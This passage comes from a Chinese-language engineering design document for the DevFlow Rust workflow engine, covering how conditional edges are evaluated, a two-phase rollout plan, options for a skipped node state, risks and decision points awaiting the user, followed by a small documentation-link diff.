4. 若后续诉求扩张(如需要正则/数学函数),再评估切换第三方库,届时手写求值器的测试可作迁移回归基准。
|
||||
|
||||
> **决策点 A(需用户确认)**:表达式引擎走手写最小求值器,还是引 `evalexpr`?本文档默认推荐手写。若用户倾向引库,§五的接线方案不变,仅 §三的"实现"段替换。
|
||||
|
||||
---
|
||||
|
||||
## 四、接线方案
|
||||
|
||||
review 给了两种短路粒度,本文档详析:
|
||||
|
||||
### 4.1 方案一:数据流过滤(Phase1)
|
||||
|
||||
**改动点**:executor inputs 收集处(`executor.rs:91-97`)。
|
||||
|
||||
```rust
|
||||
// 伪码
|
||||
let mut inputs = HashMap::new();
|
||||
if let Some(preds_with_cond) = adjacency_in.get(node_id) {
|
||||
for (pred_id, cond_opt) in preds_with_cond {
|
||||
if let Some(out) = outputs.get(pred_id) {
|
||||
// 边有条件 → 求值;条件 false 则不灌入此条边的数据
|
||||
if let Some(cond) = cond_opt {
|
||||
let ctx = json!({ pred_id: out }); // 单前驱上下文
|
||||
match ConditionEngine::evaluate(cond, &ctx) {
|
||||
Ok(true) => { inputs.insert(pred_id.clone(), out.clone()); }
|
||||
Ok(false) => { /* 跳过此边,不灌入 */ }
|
||||
Err(e) => { /* 求值失败兜底,见 §六 */ }
|
||||
}
|
||||
} else {
|
||||
inputs.insert(pred_id.clone(), out.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
需配套:`adjacency_in` 的 value 从 `Vec<NodeId>` 改为 `Vec<(NodeId, Option<String>)>`,携带 `edge.condition`(构建处 `executor.rs:62-68` 同步改)。
|
||||
|
||||
**语义**:target **照常执行**,只是某些前驱的数据不灌入。适合"多前驱汇聚、按条件选择部分输入"的场景。
|
||||
|
||||
**局限**:target 仍被执行。若用户意图是"a 条件不满足时 c 整个不跑"(单条件边、target 唯一前驱),数据流过滤做不到——target 会以空 inputs 执行,语义错位。
|
||||
|
||||
### 4.2 方案二:调度短路(Phase2)
|
||||
|
||||
**改动点**:层调度处(`executor.rs:70-119` 的 for 循环)。
|
||||
|
||||
执行某层前,对层内每个 target 检查:若**所有入边**条件求值均为 false(或其唯一条件边为 false),则 target 标记"条件跳过"终态、不进入 `node_futures`、不发 NodeStarted。
|
||||
|
||||
**关键约束:set_skipped 已删**。R-P2-13 删了 `set_waiting/set_skipped`(全仓零调用,误导状态机认知),保留 `set_cancelled` 作"唯一受控旁路"。`NodeStatus::Skipped` 枚举值仍在(`types.rs:243`,`as_str` 能输出 `"skipped"`),但**无 setter**。调度短路需要一个"条件不满足、target 不执行"的终态,必须解决这个缺口。
|
||||
|
||||
### 4.3 两种短路粒度对比
|
||||
|
||||
| 维度 | 方案一 数据流过滤 | 方案二 调度短路 |
|
||||
|------|------------------|----------------|
|
||||
| target 是否执行 | 执行(部分输入被过滤) | 不执行(直接跳过) |
|
||||
| 适用场景 | 多前驱汇聚、按条件选输入 | 单条件边、条件不满足则 target 整个不跑 |
|
||||
| 用户意图匹配 | 部分 | 完整(用户编条件边的典型意图) |
|
||||
| 终态机制 | 不需要(target 走 Completed) | **需要新终态**(set_skipped 已删,见 §五) |
|
||||
| 改动面 | inputs 收集 + adjacency_in 携带 condition | 层调度 + 终态机制 + 事件(NodeSkipped?) |
|
||||
| 风险 | 低(数据流层面,不影响调度) | 中(动调度循环 + 状态机) |
|
||||
|
||||
---
|
||||
|
||||
## 五、推荐分阶段
|
||||
|
||||
**Phase1(数据流过滤,先打通)**:
|
||||
|
||||
- 范围:§四.1,仅 inputs 收集处接线 ConditionEngine。
|
||||
- 效果:多前驱汇聚场景立即可用;单条件边场景 target 仍执行(空 inputs),需文档标注"Phase1 已知局限"。
|
||||
- 改动面小、零终态机制冲突、可独立 ship。
|
||||
|
||||
**Phase2(调度短路,补完整语义)**:
|
||||
|
||||
- 范围:§四.2,层调度处短路 target。
|
||||
- **前置:解决 set_skipped 删除后的终态机制**——见下。
|
||||
|
||||
### 5.1 set_skipped 删除后的短路机制设计(Phase2 前置)
|
||||
|
||||
R-P2-13 删 `set_skipped/set_waiting` 时,"条件跳过"这一用例尚未接线(ConditionEngine 从未调用,无消费方),删除合理。现在 Phase2 要用"条件跳过"终态,三个选项:
|
||||
|
||||
| 选项 | 做法 | 取舍 |
|
||||
|------|------|------|
|
||||
| **A. 复活 set_skipped 旁路** | `state.rs` 加回 `set_skipped`,与 `set_cancelled` 同型(不经 transition 校验,直接置 `NodeStatus::Skipped`),注释说明"条件跳过专用,区别于 set_cancelled 的人工取消语义" | 最直接;但与 R-P2-13 删除动机("全仓零调用、误导状态机认知")冲突——需明确这是新用例落地后的复活,非反复 |
|
||||
| **B. 复用 set_cancelled** | 条件短路也走 `set_cancelled`,target 终态为 Cancelled | 语义污染:Cancelled 现专指"人工审批取消",条件跳过混入会让 `is_cancelled` 判断与前端"取消"语义混乱。**不推荐** |
|
||||
| **C. 走 transition 合法转换** | 扩 `is_legal` 加 `(Running, Skipped)`,调度短路前先 `set_running` 再 `transition(Skipped)` | 走正门最干净,但需 target 先进 Running 再转 Skipped(两步),且 NodeStarted 已发→语义噪声(节点"启动后立即跳过")。或扩 `(Pending, Skipped)` 直接转换,但破坏"Pending 必经 Running"的不变量 |
|
||||
|
||||
**推荐 A**:复活 `set_skipped` 旁路,注释明确区分两种"非正常终态"语义:
|
||||
|
||||
- `set_cancelled`:人工审批取消(外部 IPC 触发,节点可能已 Running)
|
||||
- `set_skipped`:条件分支跳过(调度层求值条件为 false,target 从未进入 Running)
|
||||
|
||||
两者均不经 transition 校验(条件短路时 target 在 Pending 态,`Pending→Skipped` 走 transition 会被 `is_legal` 拒,与 `set_cancelled` 同理需旁路)。
|
||||
|
||||
> **决策点 B(需用户确认)**:Phase2 的条件跳过终态走选项 A(复活 set_skipped 旁路)?本文档默认推荐 A。若用户倾向 C(扩 transition 合法转换),需同步评估 NodeStarted/NodeSkipped 事件序列与"Pending 必经 Running"不变量的取舍。
|
||||
|
||||
### 5.2 Phase2 配套事件
|
||||
|
||||
`df-core/events::WorkflowEvent` 当前有 NodeStarted/NodeCompleted/NodeFailed。Phase2 条件短路需补 `NodeSkipped { node_id, reason }`(reason = 哪条边的条件为 false + 表达式),前端可据 reason 渲染"跳过原因",闭环"对用户非静默"(R-PD-3 原诉求)。
|
||||
|
||||
---
|
||||
|
||||
## 六、改动面 + 风险
|
||||
|
||||
### 6.1 改动面(行号基于当前 HEAD)
|
||||
|
||||
| Phase | 文件:行 | 改动 |
|
||||
|-------|---------|------|
|
||||
| 1 | `crates/df-workflow/src/conditions.rs:16-33` | evaluate 扩展为手写最小求值器(§三.3)|
|
||||
| 1 | `crates/df-workflow/src/executor.rs:62-68` | `adjacency_in` value 改 `Vec<(NodeId, Option<String>)>`,携带 condition |
|
||||
| 1 | `crates/df-workflow/src/executor.rs:91-97` | inputs 收集处调 `ConditionEngine.evaluate`,false 不灌入 |
|
||||
| 2 | `crates/df-workflow/src/executor.rs:70-119` | 层调度前求值各 target 入边条件,全 false 则短路 |
|
||||
| 2 | `crates/df-workflow/src/state.rs` | 复活 `set_skipped` 旁路(选项 A)|
|
||||
| 2 | `crates/df-core/src/events.rs` | 加 `WorkflowEvent::NodeSkipped` |
|
||||
| 2 | `crates/df-workflow/src/executor.rs` | 短路时发 NodeSkipped + set_skipped,不进 node_futures |
|
||||
|
||||
### 6.2 风险
|
||||
|
||||
**R1:多前驱 context 拼装**。§四.1 伪码用 `json!({ pred_id: out })` 单前驱上下文。多前驱汇聚时,条件表达式需访问哪个前驱?两种设计:
|
||||
- (a) 表达式内显式写前驱 id:`a.output.status == 'ok'`——context 拼成所有前驱 `{ "a":..., "b":... }`,求值器按 `a.output.x` 路径取值
|
||||
- (b) target 的所有入边条件独立求值,各用单前驱上下文——不支持"跨前驱联合判断"
|
||||
|
||||
推荐 (a),context 拼全前驱,求值器路径访问。`pred.output.xxx` 在 review 第 49 行已示意。
|
||||
|
||||
**R2:条件求值失败的兜底**。求值出错(语法错 / 路径不存在 / 类型不匹配)时返 `Err`,executor 怎么处理?
|
||||
|
||||
| 选项 | 语义 | 取舍 |
|
||||
|------|------|------|
|
||||
| **默认 true** | 求值失败 = 放行 | 与 ConditionEngine 当前的"未识别默认 false"(B-260614-02)相反,破坏保守拒绝原则。**不推荐** |
|
||||
| **默认 false** | 求值失败 = 拒绝(条件边不灌入 / target 跳过)| 与 B-260614-02 的保守拒绝一致;但用户表达式写错时 target 静默不跑,需配套告警 |
|
||||
| **报错中止工作流** | 求值失败 = 工作流 Failed | 最显式,但单个条件边语法错炸整条工作流,可能过激 |
|
||||
|
||||
**推荐:默认 false + warn 日志 + Phase2 的 NodeSkipped.reason 透出表达式**。条件边本质是"用户声明的过滤规则",规则写错应保守拒绝(不执行)而非放行,与现有保守拒绝原则对齐;非静默靠 warn + reason 闭环。区别于 B-260614-02 的"引擎未实现"(那是 TODO 完全未做),这里是"用户表达式语法错"——两者都走 false,但 warn 文案区分。
|
||||
|
||||
> **决策点 C(需用户确认)**:条件求值失败兜底走"默认 false + warn"(推荐)还是"报错中止工作流"?
|
||||
|
||||
**R3:topological_layers 计入条件边入度的交互**。Phase1 数据流过滤不动 topological_layers,条件边仍计入入度、target 仍分层调度——这与"条件边语义"不冲突(Phase1 只过滤数据,不拦调度)。Phase2 调度短路有两种实现路径:
|
||||
- (a) topological_layers 内部按条件过滤无效边(需把前驱输出传进 topological_layers,但分层时前驱尚未执行,条件无法求值)——**不可行**,条件依赖运行时输出
|
||||
- (b) 分层照常(含条件边入度),执行时层调度前求值条件短路 target——**可行**,条件求值发生在前驱已完成、target 将执行的边界
|
||||
|
||||
推荐 (b)。topological_layers 保持纯结构(不掺运行时),条件求值在 executor 调度边界。
|
||||
|
||||
**R4:循环依赖风险**。条件边若构成 target 的所有入边均条件 false,target 永不执行。这是用户 DAG 的逻辑,引擎照常短路即可,不需特殊处理(与"用户写了死代码节点"同类)。
|
||||
|
||||
**R5:与 R-PD-2(ScriptNode 任意 shell)的边界**。条件表达式本身不经 shell,纯内存求值,无 R-PD-2 的 shell 注入面。但若 Phase2 引第三方 expr 库(§三.3 若用户改选 evalexpr),其函数调用能力需配置禁用(前端可构造任意表达式)。
|
||||
|
||||
---
|
||||
|
||||
## 七、待用户确认的决策点
|
||||
|
||||
| # | 决策 | 推荐 | 备选 |
|
||||
|---|------|------|------|
|
||||
| A | 表达式引擎实现 | 手写最小求值器(零依赖、语法可控)| 引 `evalexpr`(成熟、能力全、攻击面大)|
|
||||
| B | Phase2 条件跳过终态机制 | 复活 `set_skipped` 旁路(与 `set_cancelled` 同型,语义区分)| 扩 `is_legal` 走 transition 正门(破坏 Pending→Running 不变量)|
|
||||
| C | 条件求值失败兜底 | 默认 false + warn + NodeSkipped.reason 透出 | 报错中止整条工作流 |
|
||||
|
||||
确认后即可按 §五分阶段推进:Phase1(数据流过滤)独立可 ship,Phase2(调度短路 + 终态机制)依赖决策点 B。
|
||||
@@ -1,8 +1,8 @@
|
||||
# 经验记录
|
||||
|
||||
> DevFlow 开发中沉淀的**经验性内容**——踩坑、约定、技巧、bug 排查教训。聚焦「这个坑怎么踩的 / 这个约定为什么这么定 / 这个 bug 怎么定位的」,区别于 [功能决策记录](./功能决策记录.md)(记需求规格 + 设计决策规格)。
|
||||
> DevFlow 开发中沉淀的**经验性内容**——踩坑、约定、技巧、bug 排查教训。聚焦「这个坑怎么踩的 / 这个约定为什么这么定 / 这个 bug 怎么定位的」,区别于 [功能决策记录](./功能决策记录-2026-06-14.md)(记需求规格 + 设计决策规格)。
|
||||
>
|
||||
> 创建:2026-06-14(从功能决策记录.md 分流出经验性条目) | 维护:随开发追加
|
||||
> 创建:2026-06-14(从功能决策记录-2026-06-14.md 分流出经验性条目) | 维护:随开发追加
|
||||
|
||||
## 约定
|
||||
|
||||
@@ -136,5 +136,5 @@
|
||||
---
|
||||
|
||||
**相关文档**:
|
||||
- [功能决策记录](./功能决策记录.md) — 需求规格 + 设计决策规格
|
||||
- [功能决策记录-归档](./功能决策记录-归档.md) — 纯流水 / 老 Sprint / UX 微调 / 已被取代
|
||||
- [功能决策记录](./功能决策记录-2026-06-14.md) — 需求规格 + 设计决策规格
|
||||
- [功能决策记录-归档](./功能决策记录-归档-2026-06-14.md) — 纯流水 / 老 Sprint / UX 微调 / 已被取代
|
||||
|
||||
Reference in New Issue
Block a user